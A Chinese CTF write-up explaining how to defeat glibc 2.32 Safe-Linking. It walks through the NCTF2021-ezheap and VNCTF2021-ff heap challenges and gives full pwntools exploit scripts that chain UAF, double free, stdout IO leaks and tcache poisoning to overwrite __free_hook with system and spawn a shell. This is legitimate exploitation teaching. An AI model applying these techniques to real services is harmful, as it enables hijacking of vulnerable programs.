Safe-Linking 机制的绕过
Safe-Linking 机制的绕过
背景:自2.26版本以后增加了tcache后 就出现了tcache poisoning这种相对容易实现的漏洞(因为减少了对size的检查),但在2.32及以后的版本增加了Safe-Linking机制,简单来说就是对tcache的next指针进行了异或运算
手法:就是知道他是如何异或并自己手动计算地址,让它异或为我们想要的地址
它的加密解密就是引用了下面两个宏
加密: #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) 加密后的next值=((next指针的地址)>>12^(next的值)) 解密: #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr) next的值=((next指针的地址)>>12^(加密后的next的值))
例题
NCTF2021-ezheap
保护策略
程序分析
常规的菜单题,增删改查都有
漏洞是uaf
在删除函数中只是把存放chunk的size标志位置零,并没有把指针置零,只是无法向已经free的chunk使用edit向里面输入数据
我们要如何使用这个漏洞来打一个 double free
add 0x70 'a' #0
free(0)
add 0x70 'a' #1 把已经释放的chunk0申请回来,
free(0) #此时chunk0 和 chunk1的地址一样,free(0)即把chunk1释放当chunk1的size并没有置零
变化如下
漏洞利用
1、泄露heap和libc地址(因为有show函数和uaf比较简单)
2、计算加密后的__free_hook的值
加密后的next值=((next指针的地址)>>12^(__free_hook))
3、打一个tcache poisoning
exp
from tools import *
context.log_level = 'debug'
context.arch='amd64'
p,e,libc=load('b')
def add(size,content):
p.sendlineafter(">> ",str(1))
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content: ",content)
def edit(index,content):
p.sendlineafter(">> ",str(2))
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Content: ",content)
def delete(index):
p.sendlineafter(">> ",str(3))
p.sendlineafter("Index: ",str(index))
def show(index):
p.sendlineafter(">> ",str(4))
p.sendlineafter("Index: ",str(index))
add(0x70,'a')#0
add(0x70,'a')#1
debug(p,'pie',0x1483,0x1619,0x16C3,0x13B7)
delete(0)
show(0)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))<<12
log_addr('heap_base')
add(0x70,'a')#2
delete(1)
delete(0)
for i in range(3,13):# 3 11
add(0x80,'a')
for i in range(3,12): #3 10
delete(i)
show(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1e3c00
log_addr('libc_base')
system=libc_base+0x503c0
free_hook=libc_base+libc.symbols['__free_hook']
value=((heap_base))>>12^free_hook
log_addr('heap_base')
edit(2,p64(value))
add(0x70,'/bin/sh\x00') #12
add(0x70,p64(system)) #13
delete(12)
p.interactive()
#0x40A0
VNCTF2021-ff
保护策略
程序分析
有四个功能,add,show,edit,delete 但其中的show 只能使用一次 edit只能只用两次,并且show,edit,delete的对象只能是最近的操作对象
漏洞利用
有一个uaf漏洞,首先需要泄露heap 地址和libc地址 因为只能使用一次show,并且申请的最大大小是0x7f,不能直接申请到unsorded中因此需要打一个io leak去泄露libc地址
泄露heap地址和libc地址
heap地址直接用show 就可以泄露出来
三次tcache poisoning 的使用
第一次tcache poisoning是为了下面两次的利用
做法是利用一次edit将打一个tcache poisoning将pthread_tcache_struct释放掉
注意:在开始free pthread_tcache_struct前修改0x290这个链的counts为7让它进入unsorted bin中
第二次tcache poisoning是用来打一个io leak
做法从申请合适0x40大小的chunk从pthread_tcache_struct中,修改0x50和0x80的counts为1
申请合适0x40大小的chunk从pthread_tcache_struct中,让0x50的头指针指向一个libc地址,然后修改后两个字节,爆破一位得到stdout的地址,申请出来修改一下字段完成io leak 攻击
io leak的利用是修改stdout的flag字段和_IO_write_base字段,通过篡改flags字段来绕过一些检查,通过篡改_IO_write_base字段使得系统调用write打印_IO_write_base字段与_IO_write_ptr字段之间的内容泄露出libc地址。
注意:版本是2.32需要自己逆出key值,自己加密想要的next值
第三次tcache poisoning是用来打一个free_hook
注意:上面申请的chunk大小和内容都是精心布置的
调试过程
申请0x40的作用
把0x50和0x80的数量设为1,分别打tcache poisoning 向_IO_2_1_stdout修改结构体打一个io leak 将free_hook申请出来填写system
申请0x30的作用
布局切割让0x50 这个链上出现libc地址,为下面打一个io leak做准备
申请0x30前
后
第一次申请0x10
将0x50的头指针置为stdout
在申请一个0x40的将这个chunk申请出来,修改修改结构体,在遇见输出函数时就可以将libc地址打印出来
io leak参考
在次申请一个0x10
(效果如下图)发现可以将__free_hook写在0x80的头指针打一个tcache poisoning
在申请一个0x70大小的chunk向free_hook中写入system
exp
from tools import *
context.log_level = 'debug'
context.arch='amd64'
p,e,libc=load('pwn')
def add(size,content):
p.sendlineafter(">>",str(1))
p.sendlineafter("Size:\n",str(size))
p.sendafter("Content:\n",content)
def edit(content):
p.sendlineafter(">>",str(5))
p.sendlineafter("Content:\n",content)
def delete():
p.sendlineafter(">>",str(2))
def show():
p.sendlineafter(">>",str(3))
add(0x70,'a')
delete()
show()
heap=u64(p.recv(6).ljust(8,b'\x00'))<<12
log_addr('heap')
edit('b'*0x10)#
delete()
edit(p64(((heap)>>12)^(heap+0x10)))
add(0x70,'a')
add(0x70, b'\x00\x00' * 0x27 + b'\x07\x00')
delete() #free pthread_tcache_struct into unsorted bin
add(0x40,'\x00\x00'*3+'\x01\x00'*1+'\x00\x00'*2+'\x01\x00'+'\x00'*0x38) #0x50 0x80 set 0x1 number
add(0x30,b'\x00'*0x18+p64(0xdeadbeef))
debug(p,'pie',0xD21,0xBD8,0xCC6,0xD88)
add(0x10,'\x00'*8+'\xc0\x16')
add(0x40,p64(0xfbad1887)+p64(0)*3+b'\x00') # io leak
libc_base=recv_libc()-0x1e4744
log_addr('libc_base')
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
add(0x10,p64(free_hook))#
add(0x70,p64(system))
add(0x10,'/bin/sh\x00')
delete()
p.interactive()
# 0x202080